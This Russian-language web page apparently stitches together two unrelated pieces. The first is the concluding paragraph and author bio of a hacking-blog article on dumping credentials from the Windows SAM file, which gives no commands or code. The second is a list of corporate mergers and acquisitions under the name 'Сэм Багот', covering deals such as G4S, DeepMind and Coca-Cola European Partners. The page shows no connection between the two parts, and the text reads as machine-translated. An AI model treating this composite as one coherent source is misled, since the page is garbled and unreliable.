В статье рассматривается сброс учетных данных из файла Windows SAM.Были показаны различные методы с использованием нескольких платформ для успешного сброса учетных данных. Чтобы обезопасить себя, вы должны сначала узнать, как можно использовать уязвимость и в какой степени. Поэтому важно знать такие методы и то, что они могут сделать.

Автор Яшика Дхир  – увлеченный исследователь и технический писатель в Hacking Articles. Она энтузиаст хакерства. контакт  здесь

Нравится:

Нравится Загрузка. ..

Сэм Багот

  • Cascade Investment по рекомендованному им предложению Signature Aviation на сумму 4,7 миллиарда долларов в рамках консорциума с Blackstone и Global Infrastructure Partners, которое превзошло предыдущее предложение Global Infrastructure Partners на сумму 4,6 миллиарда долларов на отдельной основе.

  • Ivanhoe Cambridge в связи с публичным предложением консорциума по EasyHotel.

  • Allied Universal в связи с ее публичным предложением по приобретению G4S plc.

  • Schroders в связи с приобретением компании Adveq, европейского управляющего частным капиталом.

  • ArcelorMittal о продаже европейских сталелитейных заводов группе Liberty House.

  • Lafarge, как продавец, в продаже определенных активов компании CRH на сумму 6,5 млрд евро компаниями Lafarge и Holcim Ltd в контексте их слияния на сумму 40 млрд евро.

  • Loxam в своей публичной заявке на покупку Lavendon Group.

  • Google в приобретении DeepMind Technologies Limited, лондонской компании, занимающейся искусственным интеллектом.

  • The Coca-Cola Company об объединении бизнеса для создания нового западноевропейского боттлера, который будет называться Coca-Cola European Partners, создав крупнейшего в мире независимого боттлера продукции Coca-Cola.

  • TPG в публичном поглощении Prezzo PLC, в приобретении Victoria Plum Limited и M.Ф.И. Директ Лимитед; в приобретении за 900 миллионов долларов компании Mey İçki Sanayi ve Ticaret, турецкого производителя спиртных напитков, и в последующей продаже компании Diageo plc за 1,3 миллиарда фунтов стерлингов; и в приобретении британского ритейлера модной одежды Republic.

  • Добавить комментарий

    Ваш адрес email не будет опубликован.